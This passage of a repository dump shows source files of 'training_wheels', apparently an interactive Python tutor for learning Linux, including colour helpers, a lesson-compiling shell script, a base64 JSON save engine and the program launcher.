Style.NORMAL 25 | def c(string): return Fore.CYAN + string + Fore.RESET 26 | def W(string): return Fore.WHITE + Style.BRIGHT + string + Fore.RESET + Style.NORMAL 27 | def w(string): return Fore.WHITE + string + Fore.RESET 28 | 29 | def _G(string): return Back.GREEN + Style.BRIGHT + string + Back.RESET + Style.NORMAL 30 | def _g(string): return Back.GREEN + string + Back.RESET 31 | def _B(string): return Back.BLUE + Style.BRIGHT + string + Back.RESET + Style.NORMAL 32 | def _b(string): return Back.BLUE + string + Back.RESET 33 | def _R(string): return Back.RED + Style.BRIGHT + string + Back.RESET + Style.NORMAL 34 | def _r(string): return Back.RED + string + Back.RESET 35 | def _Y(string): return Back.YELLOW + Style.BRIGHT + string + Back.RESET + Style.NORMAL 36 | def _y(string): return Back.YELLOW + string + Back.RESET 37 | def _M(string): return Back.MAGENTA + Style.BRIGHT + string + Back.RESET + Style.NORMAL 38 | def _m(string): return Back.MAGENTA + string + Back.RESET 39 | def _C(string): return Back.CYAN + Style.BRIGHT + string + Back.RESET + Style.NORMAL 40 | def _c(string): return Back.CYAN + string + Back.RESET 41 | def _W(string): return Back.WHITE + Style.BRIGHT + string + Back.RESET + Style.NORMAL 42 | def _w(string): return Back.WHITE + string + Back.RESET -------------------------------------------------------------------------------- /training_wheels/colors/colors.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/training_wheels/colors/colors.pyc -------------------------------------------------------------------------------- /training_wheels/lessons/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Author: John Hammond 3 | # @Date: 2016-08-25 00:40:07 4 | # @Last Modified by: John Hammond 5 | # @Last Modified time: 2016-08-25 00:40:15 6 | 7 | ''' 8 | This file must exist for Python to recognize this folder 9 | as an importable "Python package". 10 | ''' -------------------------------------------------------------------------------- /training_wheels/lessons/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/training_wheels/lessons/__init__.pyc -------------------------------------------------------------------------------- /training_wheels/lessons/compile_lessons.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | ls *.hjson|while read line 4 | do 5 | hjson -j "$line" > ".${line/hjson/json}" 6 | done 7 | 8 | # We should add in a carriage return to all new-lines so we can use 9 | # the curses mode! 10 | ls .*.json|while read line 11 | do 12 | sed -i 's/\\n/\\n\\r/g' ${line} 13 | done -------------------------------------------------------------------------------- /training_wheels/lessons/lesson_book.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/training_wheels/lessons/lesson_book.pyc -------------------------------------------------------------------------------- /training_wheels/save_engine/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Author: John Hammond 3 | # @Date: 2016-08-25 00:29:26 4 | # @Last Modified by: John Hammond 5 | # @Last Modified time: 2016-08-25 00:29:40 6 | 7 | ''' 8 | This file must exist for Python to recognize this folder 9 | as an importable "Python package". 10 | ''' -------------------------------------------------------------------------------- /training_wheels/save_engine/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/training_wheels/save_engine/__init__.pyc -------------------------------------------------------------------------------- /training_wheels/save_engine/save_engine.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Author: John Hammond 3 | # @Date: 2016-08-25 00:29:22 4 | # @Last Modified by: John Hammond 5 | # @Last Modified time: 2016-09-07 22:19:23 6 | 7 | import json 8 | import base64 9 | import os 10 | from colors.colors import * 11 | 12 | class SaveEngineClass(): 13 | 14 | def __init__( self, parent ): 15 | 16 | self.save_filename = '/tmp/training_wheels.log' 17 | self.loaded_data = None 18 | self.parent = parent 19 | 20 | 21 | if ( os.path.exists( self.save_filename ) ): 22 | self.save_handle = open( self.save_filename, 'r' ) 23 | else: 24 | self.save_handle = open( self.save_filename, 'w' ) 25 | 26 | 27 | def load( self ): 28 | if ( self.save_handle.closed ): 29 | self.save_handle = open( self.save_filename, 'r' ) 30 | 31 | if ( self.save_handle.mode != 'r' ): 32 | self.save_handle.close() 33 | self.save_handle = open( self.save_filename, 'r' ) 34 | 35 | 36 | try: 37 | self.loaded_data = json.loads( base64.b64decode( 38 | self.save_handle.read() ) ) 39 | except ValueError: 40 | return False 41 | 42 | 43 | if self.loaded_data != {}: 44 | 45 | print M(''' 46 | It looks like you've used this tool before! I'll bring you right back to where 47 | you left off. If you'd like to revisit older lesson or concepts, enter `@help`!''') 48 | 49 | self.parent.LessonBook.load_lesson( self.loaded_data["current_lesson"] ) 50 | self.parent.LessonBook.lesson_pointer = self.loaded_data["lesson_pointer"] 51 | self.parent.LessonBook.new_lesson_pointer = self.loaded_data["lesson_pointer"] 52 | 53 | 54 | return True 55 | 56 | 57 | def save( self, data ): 58 | if ( self.save_handle.closed ): 59 | self.save_handle = open( self.save_filename, 'w' ) 60 | 61 | if ( self.save_handle.mode != 'w' ): 62 | self.save_handle.close() 63 | self.save_handle = open( self.save_filename, 'w' ) 64 | 65 | self.save_handle.seek(0) 66 | self.save_handle.write( base64.b64encode( json.dumps( data ) ) ) 67 | 68 | 69 | 70 | def __del__( self ): 71 | self.save_handle.close() -------------------------------------------------------------------------------- /training_wheels/save_engine/save_engine.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/training_wheels/save_engine/save_engine.pyc -------------------------------------------------------------------------------- /training_wheels/shell/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Author: John Hammond 3 | # @Date: 2016-08-24 23:47:30 4 | # @Last Modified by: John Hammond 5 | # @Last Modified time: 2016-08-24 23:47:34 6 | 7 | ''' 8 | This file must exist for Python to recognize this folder 9 | as an importable "Python package". 10 | ''' -------------------------------------------------------------------------------- /training_wheels/shell/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/training_wheels/shell/__init__.pyc -------------------------------------------------------------------------------- /training_wheels/shell/shell.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/training_wheels/shell/shell.pyc -------------------------------------------------------------------------------- /training_wheels/shell/wrapper.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Author: John Hammond 3 | # @Date: 2016-08-24 23:44:30 4 | # @Last Modified by: John Hammond 5 | # @Last Modified time: 2016-08-25 08:56:38 6 | 7 | import os 8 | from colors.colors import * 9 | from shell import TrainingWheelsShellClass 10 | 11 | class TrainingWheelsWrapperClass(): 12 | 13 | def __init__( self ): 14 | 15 | os.system("clear") 16 | print B("_" * 79 + "\n\n" ) + c(\ 17 | " ... this tool was developed by John Hammond. If you're curious about it, ask!\n"+ 18 | B("_" * 79 + "\n\n")) 19 | 20 | 21 | def run( self ): 22 | 23 | TraingWheelsShell = TrainingWheelsShellClass() 24 | TraingWheelsShell.run() -------------------------------------------------------------------------------- /training_wheels/shell/wrapper.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/training_wheels/shell/wrapper.pyc -------------------------------------------------------------------------------- /training_wheels/training_wheels: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # @Author: John Hammond 4 | # @Date: 2016-08-24 23:42:10 5 | # @Last Modified by: John Hammond 6 | # @Last Modified time: 2016-08-28 13:22:13 7 | 8 | import readline 9 | import sys 10 | import time 11 | import socket 12 | import os 13 | import subprocess 14 | import textwrap 15 | import threading 16 | import json 17 | 18 | try: 19 | import colorama 20 | except ImportError as e: 21 | 22 | print ''' 23 | [!] Error importing colorama! Training Wheels works best with colorama. 24 | You should be able to install it with the command: 25 | 26 | sudo apt-get install python-colorama 27 | ''' 28 | 29 | exit(-1) 30 | 31 | from shell.wrapper import TrainingWheelsWrapperClass 32 | 33 | from colors.colors import * 34 | 35 | if ( __name__ == "__main__" ): 36 | 37 | TrainingWheels = TrainingWheelsWrapperClass() 38 | 39 | TrainingWheels.run() 40 | ''' 41 | # This invokes the Training Wheels shell, which kickstarts the 42 | # lessons and all the other interactions with the program. 43 | ''' 44 | --------------------------------------------------------------------------------